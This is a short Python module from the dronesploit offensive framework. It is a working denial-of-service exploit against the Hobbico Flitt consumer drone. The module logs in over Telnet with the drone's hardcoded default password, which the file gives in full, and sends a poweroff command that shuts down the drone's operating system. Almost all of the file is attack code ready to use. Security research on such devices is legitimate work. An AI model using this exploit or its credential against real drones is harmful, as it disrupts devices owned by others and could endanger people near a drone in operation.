# -*- coding: UTF-8 -*-
from dronesploit.drones.hobbico import FlittModule
from dronesploit.generic.mixins import TelnetMixin


class TelnetDos(FlittModule, TelnetMixin):
    """ Power off the target Flitt through Telnet.
    
    Author: Alexandre D'Hondt
    Email:  alexandre.dhondt@gmail.com
    
    Note that this will "power off" ToyBox, the OS on the drone, but this will not shutdown the drone completely.
    """
    config = Config({
        Option(
            'TELNET_PASSWORD',
            "Telnet password",
            True,
        ): "ev1324",
    })
    path = "exploit/hobbico/flitt"
    
    def run(self):
        self.logger.info("Powering off the target...")
        self.send_telnet_command("poweroff -d 1")

